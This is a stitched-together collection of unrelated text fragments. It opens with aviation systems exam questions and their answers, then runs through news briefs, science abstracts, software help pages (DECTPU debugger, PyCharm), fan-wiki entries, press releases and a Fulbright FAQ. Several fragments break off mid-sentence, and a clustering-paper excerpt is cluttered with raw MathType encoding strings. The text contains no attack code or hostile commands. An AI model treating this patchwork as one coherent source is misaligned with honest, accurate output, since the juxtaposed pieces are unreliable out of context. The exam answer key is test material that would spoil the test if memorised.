happen if the altitude is decreased while the throttle remains fully open and the waste gate is seized
in the cruise position: THE MANIFOLD ABSOLUTE PRESSURE (MAP) VALUE MAY EXCEED THE
MAXIMUM ALLOWED VALUE.
-Assume that during cruise flight with airconditioning packs ON, the outflow valve(s) would close. The
result would be that: THE PRESSURE DIFFERENTIAL WOULD GO TO THE MAXIMUM VALUE
-Assuming a CSD fault is indicated, the CSD should be disconnected : PROVIDED THE ENGINE IS
RUNNING.
-Assuming a hydraulic accumulator is pre-charged with air to 1000 psi. If the hydraulic system is then
pressurised to its operating pressure of 3000 psi, the indicated pressure on the air side of the
accumulator should be: 3000 PSI.
-Assuming an accumulator is pre-charged with air to 1000 psi and the hydraulic system is pressurised
to 1500 psi, the accumulator gauge will read:1500 PSI.
-Assuming cabin differential pressure has attained the required value in normal flight conditions, if
flight altitude is maintained: A CONSTANT MASS AIR FLOW IS PERMITTED THROUGH THE
CABIN.
-Assuming cabin differential pressure has reached the required value in normal flight conditions, if
flight altitude and air conditioning system setting are maintained: THE MASS AIR FLOW THROUGH
THE CABIN IS CONSTANT.
-Assuming cabin pressure decreases, the cabin rate of climb indicator should indicate: A RATE OF
CLIMB.
-Assuming the initiating cause is removed, which of these statements about resetting are correct or
incorrect? I. A fuse is not resettable II. A circuit breaker is resettable: I IS CORRECT, II IS CORRECT.
-Assuming the initiating cause is removed, which of these statements about resetting are correct or
incorrect? I. A fuse is not resettable II. A circuit breaker is not resettable: I IS CORRECT, II IS
INCORRECT.
-Assuming the initiating cause is removed, which of these statements about resetting are correct or
incorrect? I. A fuse is resettable II. A circuit breaker is not resettable: I IS INCORRECT, II IS
INCORRECT.
-Assuming the initiating cause is removed, which of these statements about resetting are correct or
incorrect? I. A fuse is resettable II. A circuit breaker is resettable: I IS INCORRECT, II IS CORRECT.
-Assuming the jet pipe is not choked, the equation to calculate jet engine thrust T (with mass flow m,
airspeed Vv and jet velocity Vj ) is: T = M(VJ - VV)
-Assuming the same swept volume and no turbo charger, diesel engines compared to petrol
engines: PRODUCE LESS MAXIMUM POWER OUTPUT.
-At constant fuel flow, if engine compressor air is bled off for engine anti-icing or a similar system,
the turbine temperature: WILL RISE.
-Automatic temperature control of the system as shown, would be accomplished by: THE
TEMPERATURE SELECTOR IN CONJUNCTION WITH CABIN SENSORS AND THE TEMPERATURE
REGULATOR, MODULATING THE MIX VALVE.
-Axial piston pumps are often used in hydraulic systems due to: THEIR ABILITY TO PRODUCE HIGH
PRESSURE WHEN REQUIRED BUT CAN BE OFF LOADED TO REDUCE POWER CONSUMPTION.
-Because of the connection in parallel of electrical equipments on an AC bus bar, isolation of
individual equipments: DECREASES THE BUS BAR CURRENT CONSUMPTION.
-Because of the input/output relationship of an AND gate, it is often referred to as the: "ALL OR
NOTHING" GATE.
-Because of the input/output relationship of an OR gate, it is often referred to as the: "ANY OR ALL"
GATE.
-Below its design speed an axial compressor: HAS A TENDENCY TO SURGE IN THE FRONT
STAGES.
-Bleeding air from the HP compressor of a turbofan, whilst maintaining thrust, increases: EGT AND
FUEL FLOW.
-Both gas turbine and piston engines use a cycle made up of induction, compression, combustion
and exhaust phases. Which of these statements about a gas turbine are correct or incorrect? I. The
process in a gas turbine engine is continuous. II. Theoretically the combustion occurs at constant
pressure: I IS CORRECT, II IS CORRECT.
-Both gas turbine and piston engines use a cycle made up of induction, compression, combustion
and exhaust phases. Which of these statements about a piston engine are correct or incorrect? I. The
process in a piston engine is intermittent


text:
The city of Coos Bay has drafted an ordinance to allow wind turbines in town.
The World of Coos Bay reports that turbines have been under a moratorium, but the city plans to take public comment in early 2013.
The draft ordinance would allow turbines no higher than 70 feet - industrial wind turbines are more than 250 feet.
For large turbines, residents would have to show that noise would be minimal, viewsheds would not be disturbed and that the device would meet tough safety standards. Restrictions would be reduced for smaller devices.
An Oregon State University expert tells the paper that urban settings aren't generally favorable for turbines: Both wind speed and elevation are low.


text:
as boneless wings on menus. Boneless chicken breasts have a lower fat content than chicken wings when fried. Because the fat difference is insufficient to provide significant health benefits, persons who prefer boneless Buffalo wings to bone-in wings do so because they like the flavour.
Do Air Fryers have Health Benefits?
When you bite into a dish of french fries or a plate of fried chicken, the familiar crispy crunch and moist, chewy centre hit you right away. However, the delectable taste of fried dishes comes with a price. According to research, the oils used to cook them are linked to health issues such as heart disease, type 2 diabetes, and cancer. Air fryers are kitchen machines that promise the flavour, texture, and golden-brown colour of oil-fried foods without the fat and calories.
How does Air-Fried Food Taste?
Is air-fried food as tasty as traditional fried food? It's a matter of opinion. The batter absorbs the oil required to cook the dish when it is fried. Because of this, fried meals have a delicious crisp on the outside while remaining moist on the inside. Foods that have been fried have a rich, dark colour that is appealing to the eye.
Air frying still gives you a crunch, but it doesn't have the same look or feel as oil frying. When comparing oil and air frying, researchers discovered that the two processes produced dishes with equal colour and moisture content but different textures and sensory aspects. The cooking technique is very important, and it will cook unevenly if you cram too much food into the little basket, leaving some crunchy and soggy parts.
The air fryer froze chicken wings! You can prepare the tastiest wings directly in your air fryer, a counter-top gadget. It turns out tasty and precisely cooked, with a juicy interior and crispy exterior. The only thing left to do now is choose the best dipping sauce for this simple side dish or appetizer.


text:
Used to obtain the corresponding pressure at ambient temperature. Example when testing Proof or burst pressure to a given value at 300°F, but you will test with corresponding pressure (higher) to ambient temperature.
Example. Proof Supply Pressure @ 300°F = 1161 psig Proof Supply Pressure @ AMBIENT = 1161 X Temperature Scaling Factor = 1161 X 1.15 = 1335 psig
Burst Supply pressure @ 300°F = 1251 psig Burst Supply pressure @ AMBIENT = 1251 X Temperature Scaling Factor = 1251 X 1.24 = 1551 psig
Please note different values for TSF for Proof and Burst pressures. Are these values obtained from the material the part is made off? Is there is a calculation, what it is?


text:
Active control of oscillatory thermocapillary convection
2001 (English)In: Physical Review E. Statistical, Nonlinear, and Soft Matter Physics, ISSN 1063-651X, E-ISSN _PHONE_, Vol. 6403, no 3, art. no.-31205 p.Article in journal (Refereed) Published
Active control of oscillatory thermocapillary flow was applied in an open cylindrical container filled with silicone oil. Thermocapillary convection was driven by imposing a radial temperature gradient on a flat free surface. The control was realized by locally heating the surface at a single position using the local temperature signal at a different position fed back through a simple algorithm. Significant attenuation of the oscillation was achieved in a wide range of supercritical Marangoni numbers, with the best performance in the weakly non-linear regime. Simultaneously measuring the temperature oscillation at two positions gives us a good insight in how the control influences the whole temperature field on the free surface. Quantitative analysis was done to characterize the optimal feedback amplification and the required power.
Place, publisher, year, edition, pages
2001. Vol. 6403, no 3, art. no.-31205 p.
liquid bridges, cylindrical containers, marangoni-convection, buoyancy convection, shallow layers, zone, instabilities, flows, steady
IdentifiersURN: urn:nbn:se:kth:diva-20955ISI: 000171136200015OAI: oai:DiVA.org:kth-20955DiVA: diva2:339652
QC 201005252010-08-102010-08-10Bibliographically approved


text:
Proceedings of The 2nd International Conference on Research in Business, Management and Finance
Development of Effective Management Theories
Muhammad Asadullah and Syed Irfan Hyder
This paper examines how Ghoshal's views (2005) of bad management theories are destroying good management practices. The authors propose a solution through which we may identify the bad management theory at an early stage. The authors posit that the theorist should have intuitive ability which is a pre-requisite to develop an effective theory. As far as intuition is concerned, we cannot test the intuitive ability of any individual, therefore a "think tank" may evaluate a management theory according to ethical and cultural perspective. If a management theory is culturally rich and ethical then it will be universally acceptable. On other hand, if management theory lacks characteristics of being culturally rich or poor ethical values then it should be modified or excluded from the literature. All ethical management theories which may not be culturally rich should be addressed with double hermeneutics according to region.
Keywords: ethics, cultural richness, intuitive mindset, management theory and moral values.


text:
Place of Origin:
Hermann was the butler of Count Scarlioni.
Hermann was once a Nazi soldier on a train that transported stolen art before being rescued during an attack. He came to work for Count Scarlioni. He sold several items on behalf of the Count, such as several Gutenberg Bibles. (City of Death)
When the Count returned to 1979, he was in his true form and Hermann was nearby. Not knowing it was the Count, Hermann threw a vase at him, but it missed and hit the machinery, causing an explosion that killed Scaroth. Hermann is seen fleeing as the mansion is set ablaze, but his fate was unknown. (City of Death)


Using the DECTPU Debugger
You can invoke the DECTPU debugger to debug one of the following kinds of files:
 - Section files
 - Command files
 - Files that contain DECTPU programs that are not startup programs
The following sections contain more information on debugging each kind of file. Debugging Section Files
To invoke the debugger for a section file, specify the following command on your command line:
Use of your system's debug command causes the DECTPU initialization routine to execute the debugger file before the system runs its initialization procedure.
The debugger initially creates a window that fills most of the screen. The window consists of the following three areas:
 - Source area---Displays your code when it has been placed in the debugger source buffer.
 - Output area---Displays one-line messages or one-line results of an EXAMINE command.
 - Debug command line---Displays the Debug: prompt.
When DECTPU displays the debug window, you can set breakpoints in the section file by using the SET BREAKPOINT command. For example, if you want to debug a procedure called user_fum, type the following on the debugger command line:
Debug: SET BREAKPOINT user_fum
After setting breakpoints, use the GO command to switch control of execution from the debugger to DECTPU. After you have used this command, the screen displays the code you specified. Debugging Command Files
To invoke the debugger on a command file, use the /DEBUG, /COMMAND, and /NOSECTION qualifiers. To debug a command file called MY_COMMANDS.TPU, type the following at the DCL prompt:
DECTPU compiles and executes the debugger and places the debug window on the screen before compiling the command file. As a result, you must set breakpoints in the command file before it has been compiled. When you set breakpoints, DECTPU notifies you that you have specified breakpoints at nonexistent procedures.
To continue with the debugging session, use the GO command. GO causes DECTPU to compile the contents of the command file. Recompiling a procedure does not remove any breakpoints set in that procedure.
You cannot use the DECTPU debugger on a file that does not contain DECTPU procedures. If your command file does not contain any procedures, you must find a different method of debugging it. Debugging Other DECTPU Source Code
To debug a DECTPU program that is not a section file or a command file, use the /DEBUG qualifier when you invoke DECTPU. For example, to debug procedures in a file called USER_APPLICATION.TPU, invoke the debugger on the command line as follows:
The debugger creates a window that fills the screen as described in Section
5.7.3 Getting Started with the DECTPU Debugger
This section describes using the default DECTPU debugger with EVE.
If you know which parts of the code you want to debug, use the SET BREAKPOINT command to set breakpoints. If you need to look at the code before setting breakpoints, use the GO command as soon as the debugger window appears. This places on the screen the code in the file you specified on the command line. At this point, EVE commands are available so you can manipulate the text. To return to the debugger so you can set breakpoints, enter the command DEBUG at the EVE command line. You can also gain access to the debugger with the DECTPU procedure called DEBUGON. To invoke this procedure from within EVE, type the following at the EVE Command prompt:
When you use either DEBUG or DEBUGON, the screen displays the debugger window and command line. After setting breakpoints, use the GO command to return control of execution to DECTPU.
To compile all code in the buffer, use the EXTEND ALL command or use the COMPILE (CURRENT_BUFFER) statement. To execute a procedure after compilation, use the TPU command. For example, if you want to execute the compiled procedure user_fum, type the following at the EVE Command prompt:
Command: TPU user_fum
When DECTPU encounters a breakpoint (or when you use the STEP command described later), DECTPU invokes the debugger program. As the debugger assumes control, it receives from DECTPU the name of the procedure whose execution has been suspended. The debugger searches its source buffer for that procedure.
When DECTPU encounters the first breakpoint in the session, the code you are debugging has not yet been placed in the debugger's source buffer. The debugger prompts for the name of the file that contains your code. Using your response, the debugger places your code in its source buffer. The debugger uses your previous response to supply missing fields, if any, in subsequent file names that you specify. All files read into the source buffer remain there, so that the time DECTPU takes to find a procedure may increase as more files are read into the source buffer.
You cannot use the TPU command followed by the MESSAGE built-in procedure to examine the contents of a local variable while debugging. To use the MESSAGE built-in to examine a local variable, you must write the MESSAGE built-in into the procedure you are debugging. After the statement that contains MESSAGE is executed, you can examine the message buffer to see the results. Alternatively, you can use the debugger EXAMINE command to examine local variables and the formal parameters of the suspended procedure.
5.8 Handling Errors
Each DECTPU built-in procedure returns one or more status codes telling you what happened when the built-in was executed. A DECTPU status code can have one of the following severity levels:
You can enable or disable the display of informational or success messages with the SET (INFORMATIONAL) and SET (SUCCESS) built-in procedures.
See Chapter 4 for a description of how to use the ON_ERROR language statement to trap error and warning messages.
In addition to messages that are generated by DECTPU, a built-in procedure may return system messages.
Previous Next Contents Index


text: The quantity of beta-carotene (BC) accumulated in colonic polyps and colonic cancerous tissue in humans in situ was determined relative to the quantity accumulated in normal colon and rectal tissue. Serum concentration of BC, retinol, and alpha-tocopherol and tissue BC concentration were determined by high-performance liquid chromatography in samples obtained before and after oral supplementation with BC (30 mg/day). The serum BC and retinol concentrations significantly increased in response to supplementation in control, polyp, and cancer patients, but there was no change in serum alpha-tocopherol concentration. The BC concentration in tissue (colon, rectum, and tumor) of cancer patients was significantly less than that in tissue samples from control and polyp patients. Relative to baseline values, BC accumulated to a significant extent in tissues from all patients, including polyp and tumor tissue, during supplementation. The results indicate that BC does accumulate in colonic neoplastic tissue in humans and may potentially be utilized to augment cytotoxicity of chemotherapeutics or to prevent malignant transformation of cells.


text:
Maryland State Police Celebrates National Aviation Maintenance Technician Day
(MIDDLE RIVER, MD) – The iconic green and black helicopters of the Maryland State Police Aviation Command (MSPAC), bearing the State flag across the tail, are an easily recognized focal point for the Department's commitment of service.
However, many people who have seen these state-of-the-art helicopters traverse the Maryland skies are probably unaware what it takes to keep the Department's fleet of 10 AgustaWestland-made helicopters mission ready. Thousands of hours are dedicated each year to inspections and upkeep of the fleet of highly sophisticated aircraft.
Today, on May 24, 2022, the Maryland State Police honors the 24 men and women of the Aviation Command's Maintenance Division for their unwavering dedication and professionalism as part of the nationwide Aviation Maintenance Technician (AMT) Day. Without their expertise, the MSPAC would not be able to tackle its nearly 1,800 missions each year.
Forty-five states in the country recognize AMT Day. The date coincides with the birthdate of Charles Edward Taylor, who built the engine used to power the airplane of the Wright Brothers in 1903. The U.S. House of Representatives proposed a resolution 15 years ago for AMT Day in recognition of the individuals who ensure the successful and safe flight of aircraft.
The Department's fleet of AW-139 helicopters play a pivotal role in emergency response for Maryland 24 hours a day, seven days a week and 365 days a year. The Aviation Command's values focused on safety, excellence, commitment, teamwork and leadership are in support of the Department's Core Values of Integrity, Fairness and Service. The Command operates from seven strategically-placed bases around the State to conduct medevac, law enforcement, search and rescue, homeland security, and disaster assessment missions. The mission profile of the Aviation Command takes a team effort; the maintenance technicians are truly the unsung heroes who complete complicated and painstaking behind-the-scenes work to keep the fleet ready to tackle a myriad of calls.
The Department's AMTs are highly skilled, extremely knowledgeable and tremendously dedicated as they diagnose problems and repair the Command's turbine-powered aircraft. They perform duties in accordance with stringent Federal Aviation Administration regulations, and do so in service to all Marylanders.
The Maryland State Police Aviation Command is always looking to identify qualified Aviation Maintenance Technicians to join our team. If you or anyone you know is interested in joining the ranks of our Maintenance Division, please use the below link to find out more information about the application process or email Christina Blake of our Human Resources Division at _EMAIL_.
Contact: F/Sgt James Lyles – Helicopter Field Operations Central Region _PHONE_


text:
Maple Leaf pre-schools focus on developing an active and healthy learning environment that sets the stage for an inquisitiveness and delight in the process of learning.
MLES delivers an advanced Chinese and English pre-school education program that ensures 'whole child' development, while at the same time cultivating in each child a high degree of bilingual proficiency. Maple Leaf pre-schools blend elements of traditional Chinese culture with western cultural awareness and language development. Our pre-schools are well known for their attention to early childhood nutrition and the development of healthy personal habits. Maple Leaf pre-school students are embarking on the path to success.


text:
Facing Obstacles to Solve Them
"I am here to learn how I can make a difference," shared Aung San Suu Kyi who offered the keynote address of the Summit.
"Imposing assistance on people with intellectual disabilities is not the correct approach. It is they who really know their own needs and who are best placed to shape their own futures. They should be given the opportunity to participate in decision-making and to be active in their communities."
The Summit discussed the obstacles faced by people with intellectual disabilities. In every community around the world, people with intellectual disabilities and their families face stigma and stereotype that results in low expectations for what they can accomplish and apathy and ignorance that limits their access to health care, education, housing, and employment.
They also experience a lack of protection under the law that denies them their humanity, robs them of their dignity, subjects them to poverty and abuse, and threatens their freedom to participate as full and equal members of society.


PyCharm 2016.3 Help
Viewing Images
PyCharm suggests several ways to view images, embedded in the HTML files. You can use navigation to source, open an image in an external graphical editor, or preview images on-the-fly. The viewing modes are configurable in the Images dialog.
To view an image in PyCharm
 1. In the Project tool window, select the desired image file.
 2. On the context menu of the file, choose Jump to Source, or press F4.
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 1. In the Project tool window, select an image file.
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Last modified: 23 December 2016


text:
Phylogenetic Analysis of Mexican Cave Scorpions Suggests Adaptation to Caves is Reversible
NEW EVIDENCE THAT SPECIALIZED ADAPTATIONS ARE NOT EVOLUTIONARY DEAD ENDS
Blind scorpions that live in the stygian depths of caves are throwing light on a long-held assumption that specialized adaptations are irreversible evolutionary dead-ends. According to a new phylogenetic analysis of the family Typhlochactidae, scorpions currently living closer to the surface (under stones and in leaf litter) evolved independently on more than one occasion from ancestors adapted to life further below the surface (in caves). The research, currently available in an early online edition, will be published in the April issue of Cladistics.
"Our research shows that the evolution of troglobites, or animals adapted for life in caves, is reversible," says Lorenzo Prendini, Associate Curator in the Division of Invertebrate Zoology at the American Museum of Natural History. "Three more generalized scorpion species living closer to the surface evolved from specialized ancestors living in caves deep below the surface."
Scorpions are predatory, venomous, nocturnal arachnids that are related to spiders, mites, and other arthropods. About 2,000 species are distributed throughout the world, but only 23 species found in ten different families are adapted to a permanent life in caves. These are the specialized troglobites.
This study concentrates on the family Typhlochactidae that includes nine species of scorpions endemic to the karstic regions of eastern Mexico. These species were initially grouped together by Robert Mitchell in 1971 but were elevated to the rank of family for the first time last year, based on morphological data published by Prendini and Valerio Vignoli of the Department of Evolutionary Biology, University of Siena, Italy, in the Bulletin of the American Museum of Natural History. Prendini, Vignoli, and Oscar F. Francke of the Departmento de Zoologia, Instituto de Biolog'a at the Universidad Nacional Aut—noma de México, Mexico City, also created a new genus, Stygochactas, for one species in the family and described a new surface-living species,Typhlochactas sissomi, in a separate American Museum Novitates paper. All species in the family have adapted to the dark with features such as loss of eyes and reduced pigmentation. The family contains the most specialized troglobite scorpion,Sotanochactas elliotti, one of the world's smallest scorpions, Typhlochactas mitchelli, and the scorpion found at the greatest depth (nearly 1 km below the surface), Alacran tartarus. Three of the species (including T. mitchelli) live closer to the surface and are more generalized morphologically than the other six, making this family an excellent model with which to test and falsify Cope's Law of the unspecialized (novel evolutionary traits tend to originate from a generalized member of an ancestral taxon) and Dollo's Law of evolutionary irreversibility (specialized evolutionary traits are unlikely to reverse).
For the current research paper, Prendini and colleagues gathered data for 195 morphological characteristics, including a detailed mapping of the positions of all trichobothria (sensory setae) on the pedipalps, among the species of Typhlochactidae. The resulting phylogenetic tree shows that adaptation to life in caves has reversed among this group of scorpions: two of the less specialized, surface-living species, T. mitchelli and T. sylvestris, share a common ancestor with a much more cave-adapted species, and a similar pattern was found for the third less specialized, surface-living species, T. sissomi.
"Scorpions have been around for 450 million years, and their biology is obviously flexible," says Prendini. "This unique group of eyeless Mexican scorpions may have started re-colonizing niches closer to the surface from the deep caves of Mexico after their surface-living ancestors were wiped out by the nearby Chicxuluxb impact along with non-avian dinosaurs, ammonites, and other species."
The research was funded by the National Science Foundation, the Theodore Roosevelt Memorial Fund, and a SYNTHESYS grant.
Media Inquiries: Department of Communications, _PHONE_


Memory Alpha
Dragon's teeth
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For the Star Trek: Voyager episode of the same name, see "Dragon's Teeth".
Dragon's teeth was a phrase used in ancient Greek mythology.
In 2376, Captain Kathryn Janeway, along with the Vaadwaur Gedrin and Commander Chakotay discovered numerous Vaadwaur soldiers in stasis, from the year 1484. After seeing them, Chakotay told of the myth of dragon's teeth, which was the story of when a dragon was killed in battle, its teeth were spread throughout a battlefield. The teeth then took root and warriors sprung from them to continue fighting. (VOY: "Dragon's Teeth")
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A way to use the K first eigenvectors simultaneously to find the optimum partition of the graph has been proposed, minimizing the cut of two partitions over all possible partitions in U [28]. Most of the approaches assume that the number of clusters K is known in advance, but in many problems related to clustering there is not indirect evidence that reveals the optimal number of groups.
Here we expose the basics of the multi-way normalized cut (MNCut) concept that has been applied to find the optimum number K:
The volume of node i is defined as the out-degree of the node:
D i = V o l { i } = j U S i j MathType@MTEF@5@5@+=feaagaart1ev2aaatCvAUfKttLearuWrP9MDH5MBPbIqV92AaeXatLxBI9gBaebbnrfifHhDYfgasaacPC6xNi=xI8qiVKYPFjYdHaVhbbf9v8qqaqFr0xc9vqFj0dXdbba91qpepeI8k8fiI+fsY=rqGqVepae9pg0db9vqaiVgFr0xfr=xfr=xc9adbaqaaeGacaGaaiaabeqaaeqabiWaaaGcbaGaemiraq0aaSbaaSqaaiabdMgaPbqabaGccqGH9aqpcqWGwbGvcqWGVbWBcqWGSbaBcqGG7bWEcqWGPbqAcqGG9bqFcqGH9aqpdaaeqbqaaiabdofatnaaBaaaleaacqWGPbqAcqWGQbGAaeqaaaqaaiabdQgaQjabgIGiolabdwfavbqab0GaeyyeIuoaaaa@4366@
D denotes the diagonal matrix formed by D i . The volume of a subset A U is V o l A = i A D i MathType@MTEF@5@5@+=feaagaart1ev2aaatCvAUfKttLearuWrP9MDH5MBPbIqV92AaeXatLxBI9gBaebbnrfifHhDYfgasaacPC6xNi=xH8viVGI8Gi=hEeeu0xXdbba9frFj0xb9qqpG0dXdb9aspeI8k8fiI+fsY=rqGqVepae9pg0db9vqaiVgFr0xfr=xfr=xc9adbaqaaeGacaGaaiaabeqaaeqabiWaaaGcbaGaemOvayLaem4Ba8MaemiBaWMaemyqaeKaeyypa0ZaaabuaeaacqWGebardaWgaaWcbaGaemyAaKgabeaaaeaacqWGPbqAcqGHiiIZcqWGbbqqaeqaniabggHiLdaaaa@3A7B@ , (we assume that no node has volume 0).
Given two disjoint subsets (A, B) U, the set of edges between the subsets is the cut between A and B:
C u t ( A , B ) = i A , j B S i j MathType@MTEF@5@5@+=feaagaart1ev2aaatCvAUfKttLearuWrP9MDH5MBPbIqV92AaeXatLxBI9gBaebbnrfifHhDYfgasaacPC6xNi=xI8qiVKYPFjYdHaVhbbf9v8qqaqFr0xc9vqFj0dXdbba91qpepeI8k8fiI+fsY=rqGqVepae9pg0db9vqaiVgFr0xfr=xfr=xc9adbaqaaeGacaGaaiaabeqaaeqabiWaaaGcbaGaem4qamKaemyDauNaemiDaqNaeiikaGIaemyqaeKaeiilaWIaemOqaiKaeiykaKIaeyypa0ZaaabuaeaacqWGtbWudaWgaaWcbaGaemyAaKMaemOAaOgabeaaaeaacqWGPbqAcqGHiiIZcqWGbbqqcqGGSaalcqWGQbGAcqGHiiIZcqWGcbGqaeqaniabggHiLdaaaa@44A7@
and the probability of transit from set A to set B is:
P A B = C u t ( A , B ) V o l A MathType@MTEF@5@5@+=feaagaart1ev2aaatCvAUfKttLearuWrP9MDH5MBPbIqV92AaeXatLxBI9gBaebbnrfifHhDYfgasaacPC6xNi=xI8qiVKYPFjYdHaVhbbf9v8qqaqFr0xc9vqFj0dXdbba91qpepeI8k8fiI+fsY=rqGqVepae9pg0db9vqaiVgFr0xfr=xfr=xc9adbaqaaeGacaGaaiaabeqaaeqabiWaaaGcbaGaemiuaa1aaSbaaSqaaiabdgeabjabdkeacbqabaGccqGH9aqpjuaGdaWcaaqaaiabdoeadjabdwha1jabdsha0jabcIcaOiabdgeabjabcYcaSiabdkeacjabcMcaPaqaaiabdAfawjabd+gaVjabdYgaSjabdgeabbaaaaa@3EE1@
Given the partition C = {C1,...C K }, over U the multi-way normalized cut clustering criteria introduced in [28] is defined as:
The multi-way normalized cut represents the total sum of the transition probabilities between the clusters of C. If MNCut(C) is small then the probability of evading C k in a random walk is also small.
It has been shown that for any clustering, the MNCut(C) is low-bounded by a function of the number of clusters K and the eigenvalues of P [29]:
M N C u t ( C ) K k = 1 K λ k ( P ) MathType@MTEF@5@5@+=feaagaart1ev2aaatCvAUfKttLearuWrP9MDH5MBPbIqV92AaeXatLxBI9gBaebbnrfifHhDYfgasaacPC6xNi=xI8qiVKYPFjYdHaVhbbf9v8qqaqFr0xc9vqFj0dXdbba91qpepeI8k8fiI+fsY=rqGqVepae9pg0db9vqaiVgFr0xfr=xfr=xc9adbaqaaeGacaGaaiaabeqaaeqabiWaaaGcbaGaemyta0KaemOta4Kaem4qamKaemyDauNaemiDaqNaeiikaGIaem4qamKaeiykaKIaeyyzImRaem4saSKaeyOeI0YaaabCaeaaiiGacqWF7oaBdaWgaaWcbaGaem4AaSgabeaakiabcIcaOiabdcfaqjabcMcaPaWcbaGaem4AaSMaeyypa0JaeGymaedabaGaem4saSeaniabggHiLdaaaa@45D0@
The non-negative difference between the MNCut(C) and its lower bound is the gap(C):
g a p ( C ) = M N C u t ( C ) K + k = 1 K λ k ( P ) MathType@MTEF@5@5@+=feaagaart1ev2aaatCvAUfKttLearuWrP9MDH5MBPbIqV92AaeXatLxBI9gBaebbnrfifHhDYfgasaacPC6xNi=xI8qiVKYPFjYdHaVhbbf9v8qqaqFr0xc9vqFj0dXdbba91qpepeI8k8fiI+fsY=rqGqVepae9pg0db9vqaiVgFr0xfr=xfr=xc9adbaqaaeGacaGaaiaabeqaaeqabiWaaaGcbaGaem4zaCMaemyyaeMaemiCaaNaeiikaGIaem4qamKaeiykaKIaeyypa0Jaemyta0KaemOta4Kaem4qamKaemyDauNaemiDaqNaeiikaGIaem4qamKaeiykaKIaeyOeI0Iaem4saSKaey4kaSYaaabCaeaaiiGacqWF7oaBdaWgaaWcbaGaem4AaSgabeaakiabcIcaOiabdcfaqjabcMcaPaWcbaGaem4AaSMaeyypa0JaeGymaedabaGaem4saSeaniabggHiLdaaaa@4CBE@
It has been also shown that gap(C) is 0 if P has piecewise constant eigenvectors, that is if P is an ideal block stochastic matrix [29].
Therefore, from a set of M different partition solutions of the data [C i ]iM, the optimal C* is that which minimizes the gap measure.
Properties of a Metric Space
By construction, the hierarchical clustering procedure over the Gene Ontology terms defines a generalized distance D between any two terms go a and go b that satisfies the mathematical properties of a metric space [22]. That is, any set of elements (terms) of the space x1, x2 and x3 fulfil:
 - Nonnegativity: D(x1, x2) ≥ 0
 - Reflexivity: D(x1, x2) = 0 if and only if x1 = x2
 - Symmetry: D(x1, x2) = D(x2, x1)
 - Triangle Inequality: D(x1, x2) + D(x2, x3) ≥ D(x1, x3)
References
 1. 1.
 Friedberg I: Automated protein function prediction-the genomic challenge. Brief Bioinform 2006, 7(3):225–242.
 2. 2.
 Smith B, Kumar A: Controlled vocabularies in bioinformatics: a case study in the gene ontology. DDT: BIOSILICO 2004, 2(6):246–252.
 3. 3.
 Rison S, Hodgman T, Thornton J: Comparison of functional annotation schemes for genomes. Funct Integr Genomics 2000, 1(1):56–69.
 4. 4.
 Valencia A: Automatic annotation of protein function. Current Opinion in Structural Biology 2005, 15(3):267–74.
 5. 5.
 Riley M: Functions of the gene products of Escherichia coli. Microbiol Rev 1993, 57(4):862–952.
 6. 6.
 Tamames J, Casari G, Ouzounis C, Valencia A: Conserved Clusters of Functionally Related Genes in Two Bacterial Genomes. Journal of Molecular Evolution 1997, V44: 66–73.
 7. 7.
 Mungall C: Obol: integrating language and meaning in bio-ontologies: Conference Papers. Comp Funct Genomics 2004, 5(6–7):509–520.
 8. 8.
 Smith B, Ceusters W, Klagges B, Kohler J, Kumar A, Lomax J, Mungall C, Neuhaus F, Rector A, Rosse C: Relations in biomedical ontologies. Genome Biology 2005, 6(5):R46.
 9. 9.
 Harris MA, Clark J, Ireland A, Lomax J, Ashburner M, Foulger R, Eilbeck K, Lewis S, Marshall B, Mungall C, Richter J, Rubin GM, Blake JA, Bult C, Dolan M, Drabkin H, Eppig JT, Hill DP, Ni L, Ringwald M, Balakrishnan R, Cherry JM, Christie KR, Costanzo MC, Dwight SS, Engel S, Fisk DG, Hirschman JE


text:
Science and technology has been used more and more in the last few decades to gain advantage over competitors. Quite often, however, the actual science involved is not published because a suitable journal cannot be found. The Engineering of Sport brings together work from a very diverse range of subjects including Engineering, Physics, Materials and Biomechanics.
The Engineering of Sport represent work which was represented at the 1st International Conference on the Engineering of Sport held in Sheffield, UK in July 1996. Many sports were represented and the material covered split into nine topics covering aerodynamics, biomechanics, design, dynamics, instrumentation, materials, mechanics, modelling, motion analysis, and vibrations. It should be of interest to specialists in all areas of sports research.
5. Materials in Sport
7. Modelling of Sport
8. Motion Analysis
9. Vibration Analysis


Everything You Need to Know About Fulbright Creative and Performing Arts Awards
Jun 29, 2017 • Views -
When applying for a Fulbright U.S. Student Award for Study/Research, it can be difficult to determine if your proposal is an "Academic" or "Creative and Performing Arts" project. While there are many similarities between academic and arts-related awards, there are several key differences that make it critical to understand which category your proposed project best fits. Fulbright Program staff recently recorded a webinar to help explain some commonly misunderstood aspects of the Creative and Performing Arts application process. Here are some of the top questions asked by applicants and their answers. Visit the Fulbright Webinar page to access the full recorded seminar on the 2018-19 Arts Awards.
1. How do I know if I should apply as a Creative and Performing Arts candidate?
When determining whether your project proposal is academic or artistic in nature, you should ask yourself whether or not the project hinges on your artistic abilities and background. Arts-related projects should develop your craft while interacting with a larger question. Academic projects can have artistic themes but don't necessary depend on your abilities as an artist. For example, if you propose an independent study project on murals in Mexico where you'd be analyzing pieces and writing about art theory/history, you would apply as an academic candidate. If you proposed this same project but focused on learning local techniques and incorporating new skills into your personal murals/paintings, you would apply as an arts candidate.
2. Are there any different application components needed if applying for an Arts award?
When applying for a U.S. Student Program Study/Research award, you will have the option to select either "Academic" or "Creative and Performing Arts" as your award type. Creative and Performing Arts applicants are required to submit supplementary materials related to their field such as an artistic portfolio or previous work examples. Arts awards are accepted in the same countries and regions as academic study/research awards, although some countries haven't had as many arts applicants in the past.
3. Are arts-related Fulbright applications generally successful?
There is no definitive answer regarding the overall success rate of arts applications, although Fulbright has had a growing interest in supporting arts candidates. The number of arts applicants has decreased in the last few years. Even if a country hasn't supported any arts applicants in the past, it might not be because that country isn't interested in the arts; some countries might not have previously received strong arts applications.
 4. Are there any countries or regions that specifically need more arts-related candidates?
Yes! Many regions see a surplus of academic study/research applicants or English Teaching Assistant applicants. The East Asia/Pacific region is specifically looking for more arts-related study/research applicants.
5. If I'm applying for a Study/Research award for a graduate program abroad, how do I know if I might be considered an arts candidate?
Look at the materials that the university requires in your application. If you're applying for a graduate program that requires a portfolio or audition, then you should most likely apply as a Creative and Performing Arts candidate for your Fulbright Study/Research award.
6. Is creative writing a supported art form?
Yes, absolutely. A list of supported arts-related disciplines can be found on the Fulbright website.
7. What are the biggest mistakes that applicants make when applying for an arts award?
